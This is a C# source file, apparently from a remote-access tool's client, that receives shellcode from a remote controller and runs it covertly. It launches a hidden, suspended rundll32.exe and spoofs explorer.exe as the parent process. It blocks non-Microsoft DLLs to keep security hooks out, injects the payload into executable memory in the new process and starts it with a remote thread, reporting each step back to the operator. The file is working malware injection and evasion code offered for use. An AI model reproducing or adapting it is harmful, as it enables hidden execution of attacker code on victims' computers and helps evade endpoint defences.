Files
PulsarK-main/Pulsar.Client/FunStuff/ShellcodeRunner.cs
T

381 lines
14 KiB
C#
Raw Normal View History

2026-08-27 10:57:58 -06:00
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.FunStuff;
using Pulsar.Common.Networking;
namespace Pulsar.Client.FunStuff
{
internal class ShellcodeRunner
{
public void Handle(DoSendBinFile message, ISender client)
{
if (message?.Data == null || message.Data.Length == 0)
{
client.Send(new SetStatus { Message = "Error: Empty payload" });
return;
}
new Thread(() =>
{
try
{
CreateDedicatedProcess(message.Data, client);
}
catch (Exception ex)
{
client.Send(new SetStatus { Message = $"Error: {ex.Message}" });
}
})
{
IsBackground = true
}.Start();
}
private void CreateDedicatedProcess(byte[] shellcode, ISender client)
{
PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION();
STARTUPINFOEX startupInfoEx = new STARTUPINFOEX();
startupInfoEx.StartupInfo.cb = Marshal.SizeOf(startupInfoEx);
startupInfoEx.StartupInfo.dwFlags = 0x00000001;
startupInfoEx.StartupInfo.wShowWindow = 0;
client.Send(new SetStatus { Message = $"Creating dedicated process for {shellcode.Length} bytes..." });
string commandLine = "rundll32.exe kernel32.dll,SleepEx 2147483647";
// Get explorer.exe PID and directory for spoofing
var (parentPid, parentDirectory) = GetExplorerPidAndDirectory();
client.Send(new SetStatus { Message = $"Using PPID spoofing with parent: {parentPid}" });
client.Send(new SetStatus { Message = $"Using directory: {parentDirectory}" });
// Initialize attribute list
IntPtr lpSize = IntPtr.Zero;
InitializeProcThreadAttributeList(IntPtr.Zero, 2, 0, ref lpSize);
startupInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);
bool success = InitializeProcThreadAttributeList(startupInfoEx.lpAttributeList, 2, 0, ref lpSize);
if (!success)
{
int error = Marshal.GetLastWin32Error();
throw new Exception($"InitializeProcThreadAttributeList failed: 0x{error:X8}");
}
IntPtr parentProcessHandle = IntPtr.Zero;
IntPtr lpValueProc = IntPtr.Zero;
IntPtr lpMitigationPolicy = IntPtr.Zero;
try
{
// Set PPID spoofing
parentProcessHandle = OpenProcess(ProcessAccessFlags.PROCESS_CREATE_PROCESS, false, parentPid);
if (parentProcessHandle == IntPtr.Zero)
{
int error = Marshal.GetLastWin32Error();
throw new Exception($"OpenProcess failed for PPID: 0x{error:X8}");
}
lpValueProc = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteIntPtr(lpValueProc, parentProcessHandle);
success = UpdateProcThreadAttribute(
startupInfoEx.lpAttributeList,
0,
(IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
lpValueProc,
(IntPtr)IntPtr.Size,
IntPtr.Zero,
IntPtr.Zero);
if (!success)
{
int error = Marshal.GetLastWin32Error();
throw new Exception($"UpdateProcThreadAttribute (PPID) failed: 0x{error:X8}");
}
// Set block non-Microsoft DLLs policy
lpMitigationPolicy = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteInt64(lpMitigationPolicy, PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON);
success = UpdateProcThreadAttribute(
startupInfoEx.lpAttributeList,
0,
(IntPtr)PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY,
lpMitigationPolicy,
(IntPtr)IntPtr.Size,
IntPtr.Zero,
IntPtr.Zero);
if (!success)
{
int error = Marshal.GetLastWin32Error();
throw new Exception($"UpdateProcThreadAttribute (Mitigation) failed: 0x{error:X8}");
}
// Create process with extended startup info and spoofed directory
success = CreateProcess(
null,
commandLine,
IntPtr.Zero,
IntPtr.Zero,
false,
ProcessCreationFlags.CREATE_SUSPENDED | ProcessCreationFlags.CREATE_NO_WINDOW | ProcessCreationFlags.EXTENDED_STARTUPINFO_PRESENT,
IntPtr.Zero,
parentDirectory, // Use explorer.exe directory
ref startupInfoEx,
out procInfo);
if (!success)
{
int error = Marshal.GetLastWin32Error();
throw new Exception($"CreateProcess failed: 0x{error:X8}");
}
// Continue with original shellcode injection logic
InjectShellcode(shellcode, client, procInfo);
}
finally
{
// Cleanup
if (startupInfoEx.lpAttributeList != IntPtr.Zero)
{
DeleteProcThreadAttributeList(startupInfoEx.lpAttributeList);
Marshal.FreeHGlobal(startupInfoEx.lpAttributeList);
}
if (lpValueProc != IntPtr.Zero) Marshal.FreeHGlobal(lpValueProc);
if (lpMitigationPolicy != IntPtr.Zero) Marshal.FreeHGlobal(lpMitigationPolicy);
if (parentProcessHandle != IntPtr.Zero) CloseHandle(parentProcessHandle);
}
}
private void InjectShellcode(byte[] shellcode, ISender client, PROCESS_INFORMATION procInfo)
{
IntPtr remoteMemory = IntPtr.Zero;
IntPtr remoteThread = IntPtr.Zero;
try
{
client.Send(new SetStatus { Message = $"Created suspended process (PID: {procInfo.dwProcessId})" });
remoteMemory = VirtualAllocEx(
procInfo.hProcess,
IntPtr.Zero,
(uint)shellcode.Length,
AllocationType.COMMIT | AllocationType.RESERVE,
MemoryProtection.EXECUTE_READWRITE);
if (remoteMemory == IntPtr.Zero)
{
int error = Marshal.GetLastWin32Error();
throw new Exception($"VirtualAllocEx failed: 0x{error:X8}");
}
client.Send(new SetStatus { Message = $"Allocated memory at: 0x{remoteMemory:X}" });
uint bytesWritten = 0;
if (!WriteProcessMemory(procInfo.hProcess, remoteMemory, shellcode, (uint)shellcode.Length, ref bytesWritten))
{
int error = Marshal.GetLastWin32Error();
throw new Exception($"WriteProcessMemory failed: 0x{error:X8} - {bytesWritten}/{shellcode.Length} bytes");
}
client.Send(new SetStatus { Message = $"Wrote {bytesWritten} bytes to process memory" });
remoteThread = CreateRemoteThread(
procInfo.hProcess,
IntPtr.Zero,
0,
remoteMemory,
IntPtr.Zero,
0,
out uint shellcodeThreadId);
if (remoteThread == IntPtr.Zero)
{
int error = Marshal.GetLastWin32Error();
throw new Exception($"CreateRemoteThread failed: 0x{error:X8}");
}
client.Send(new SetStatus { Message = $"Created shellcode thread (ID: {shellcodeThreadId})" });
ResumeThread(procInfo.hThread);
CloseHandle(remoteThread);
CloseHandle(procInfo.hThread);
CloseHandle(procInfo.hProcess);
client.Send(new SetStatus { Message = $"Shellcode executed in rundll32.exe (PID: {procInfo.dwProcessId}, Thread: {shellcodeThreadId})" });
}
catch
{
if (remoteThread != IntPtr.Zero) CloseHandle(remoteThread);
TerminateProcess(procInfo.hProcess, 0);
CloseHandle(procInfo.hThread);
CloseHandle(procInfo.hProcess);
throw;
}
}
private (uint pid, string directory) GetExplorerPidAndDirectory()
{
Process[] explorerProcesses = Process.GetProcessesByName("explorer");
if (explorerProcesses.Length > 0)
{
var explorer = explorerProcesses[0];
string directory;
try
{
// Try to get the actual working directory of explorer.exe
directory = Path.GetDirectoryName(explorer.MainModule.FileName);
if (string.IsNullOrEmpty(directory))
{
// Fallback to Windows directory
directory = Environment.GetFolderPath(Environment.SpecialFolder.Windows);
}
}
catch
{
// Fallback to Windows directory if we can't access the process
directory = Environment.GetFolderPath(Environment.SpecialFolder.Windows);
}
return ((uint)explorer.Id, directory);
}
throw new Exception("No explorer.exe process found for PPID spoofing");
}
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
ProcessCreationFlags dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
AllocationType flAllocationType,
MemoryProtection flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
uint nSize,
ref uint lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out uint lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern void DeleteProcThreadAttributeList(IntPtr lpAttributeList);
[StructLayout(LayoutKind.Sequential)]
private struct STARTUPINFO
{
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
private struct STARTUPINFOEX
{
public STARTUPINFO StartupInfo;
public IntPtr lpAttributeList;
}
[StructLayout(LayoutKind.Sequential)]
private struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[Flags]
private enum ProcessCreationFlags : uint
{
CREATE_SUSPENDED = 0x00000004,
CREATE_NO_WINDOW = 0x08000000,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000
}
[Flags]
private enum AllocationType : uint
{
COMMIT = 0x1000,
RESERVE = 0x2000
}
[Flags]
private enum MemoryProtection : uint
{
EXECUTE_READWRITE = 0x40
}
[Flags]
private enum ProcessAccessFlags : uint
{
PROCESS_CREATE_PROCESS = 0x0080,
PROCESS_QUERY_INFORMATION = 0x0400,
PROCESS_VM_READ = 0x0010
}
private const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;
private const int PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = 0x00020007;
private const long PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000;
}
}